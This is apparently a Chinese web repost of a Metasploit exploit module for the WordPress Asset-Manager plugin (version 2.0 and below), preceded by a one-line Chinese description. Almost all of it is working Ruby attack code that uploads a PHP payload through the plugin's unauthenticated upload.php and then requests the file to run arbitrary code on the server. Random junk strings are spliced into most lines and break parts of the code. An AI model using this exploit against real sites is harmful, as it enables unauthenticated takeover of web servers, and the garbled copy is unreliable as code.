这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。 F7 w5 h/ U1 F8 l4 E
* P/ ?. E: [8 S9 g/ F1 u$ ]4 J4 p
##0 S- D4 i- |/ m
# This file is part of the Metasploit Framework and may be subject to3 s; f0 K* m# b9 M2 V
# redistribution and commercial restrictions. Please see the Metasploit
! B# D, t2 p' ?& `+ S' R3 Z' ^# Framework web site for more information on licensing and terms of use.
/ c; d1 U: r* I4 R5 q; D$ s# http://metasploit.com/framework/& E& B& e1 C- _3 m' h9 y" r
##
1 O! v# Q4 C/ |8 A 5 Q* F' V# m- f. y- r% c
require 'msf/core'# i5 B: I1 j! d! M m: A0 w$ W
require 'msf/core/exploit/php_exe'
& y2 O$ x$ u" v" n) g/ I
: a1 N: u' m; c; v4 m; Gclass Metasploit3 < Msf::Exploit::Remote1 l5 {" v- W L% \: [7 \* U
Rank = ExcellentRanking
* c7 }' u9 [( }* G% V& ] : g" Z, w0 |& R1 X( P h1 M
include Msf::Exploit::Remote::HttpClient) {5 S* w, Q7 K$ Q2 @
include Msf::Exploit: hpEXE9 H* A1 h+ u0 n' r
( v1 x$ k* O) X1 Y: O1 ]6 j def initialize(info = {})
$ u; o6 V' [9 @$ I9 d, z5 Z6 E super(update_info(info,1 b" X: O& L! q, c. _
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',- u: }, Z% o# D; K: g5 y
'Description' => %q{
3 i. _ ^2 k6 m( R6 M; {8 E W5 j This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
8 ]7 q. Y/ q1 f1 \: U$ \ plugin. By abusing the upload.php file, a malicious user can upload a file to a$ z- c* A+ z+ J) C
temp directory without authentication, which results in arbitrary code execution.6 D; B. U3 i. _/ I( f
},( }% }! p- n. |
'Author' =>2 o1 Y4 p" {) c; E, I( j0 x4 M' K
[
% m$ r3 O' E# ]4 P" p 'Sammy FORGIT', # initial discovery
5 K- L7 I8 C6 T4 A2 w' P 'James Fitts <fitts.james[at]gmail.com>' # metasploit module* H; R; p# S; t9 k1 ?% j/ H/ V
],8 d7 Q* K" u$ H9 s9 J
'License' => MSF_LICENSE," i# _7 d: A* u) F( {) h
'References' =>
6 C; G) B9 _2 o8 V7 I) _- V* K [ `& L% L1 K# l- J5 l
[ 'OSVDB', '82653' ],9 `* V' e9 P: b% H0 S5 W. C
[ 'BID', '53809' ],0 K7 L4 j3 E7 G, o6 r% l I6 j
[ 'EDB', '18993' ],
9 B. B. N2 O8 v+ r: t) P p6 B# q [ 'URL', 'http:// www.myhack58.com /' ]
) ~: s9 I* @) J9 K3 _: P! h( w ],- d- g4 X3 \$ u! P
'Payload' =>3 X' L# w) k. U: H4 n: J! \+ M, n0 K
{: ]0 b4 f1 e3 k2 E$ a
'BadChars' => "\x00",
2 F% i( T. ?7 h. U },
3 I( z/ ~: t2 ]* G 'Platform' => 'php',# j6 `' L, q1 o6 d0 S* w2 \4 E# G* u
'Arch' => ARCH_PHP,0 T4 D0 G% D4 }7 f: S' W, b
'Targets' =>
$ o0 H3 G# B- o# c d [
# x: A% A9 t _& H [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],9 n4 v; ?5 S0 I6 U& v |
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
* U& O7 _, p3 G' |# Q3 N- D ],1 {$ n* F5 z6 b9 X- @
'DefaultTarget' => 0,; \2 p' D+ v* S6 T& p
'DisclosureDate' => 'May 26 2012'))6 M! o. g# ~0 r" g9 i
/ Q" z0 d: M8 ?0 z6 Q4 Y
register_options(4 e+ }3 I7 u+ v1 U# b% i0 R
[
2 S0 ?; f; l1 F: Q! Z OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
2 m5 g3 b" l8 k, j+ r3 Q$ L0 S ], self.class)
* f8 A/ r4 a7 q$ g4 k' q I5 q+ A& S end
3 r7 c3 V) E/ t6 q3 z 1 ?/ S a: ^% I! B' L, {/ ~+ r g2 ~
def exploit
# }- G! A7 _7 @; R: ~. h; e uri = target_uri.path
8 o6 T# U) [- _. u6 d, a uri << '/' if uri[-1,1] != '/'
* u+ ~% X: v+ j/ ? peer = "#{rhost}:#{rport}"& q: A/ `1 b- Y) o
payload_name = "#{rand_text_alpha(5)}.php"
! ^. R$ W! n/ ^3 k9 A php_payload = get_write_exec_payload(:unlink_self=>true)8 D; L7 `6 y8 t- s
- q) Y2 D: ^( x6 t- |. q data = Rex::MIME::Message.new
1 \( d! n( C8 ]: f' N% i data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\""): U1 A1 n/ z- k, \; m$ \8 d
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')5 w9 ~; }/ Y4 J% i" D
! F- P; x$ B4 j/ c9 b' [
print_status("#{peer} - Uploading payload #{payload_name}")- z5 ^6 H: x4 _) M# ^
res = send_request_cgi({9 r) z, n0 S* e8 Y
'method' => 'POST',4 ~& t7 B" q0 K4 O
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",9 K( T( V, t2 Q" I8 d' O, `
'ctype' => "multipart/form-data; boundary=#{data.bound}",
- @! n3 H7 ^+ G 'data' => post_data* g% W3 d3 C, _& s( k
})3 \( e1 M! L+ r' ?
) ]" ~) `8 e5 n/ P if not res or res.code != 200 or res.body !~ /#{payload_name}/
) {9 m0 r* O% M4 T2 z: f' Q fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
2 F7 e# X5 S7 lend2 |+ C5 v, R3 F+ O5 n- V
4 Z( _# i. F- V print_status("#{peer} - Executing payload #{payload_name}")0 Z' i- @; u3 z. g& l7 ~
res = send_request_raw({
' H, |6 H, b- P: V+ b: E 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
' M% O+ J" g7 }- c6 U 'method' => 'GET'
) v$ y$ C# M) A: }; K/ w })
# ~$ C' _. d% q9 x+ U8 z ! E: I' U0 R. R {' _7 i& K; n
if res and res.code != 200. n9 i: h j/ i
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
% \+ S: n( B0 U, v( _ end
+ C3 e! S5 O, D- f! F { end
* k) e6 {, [1 G W$ I) P! w. x9 R3 Xend
$ S& R( b/ N- {& l: C |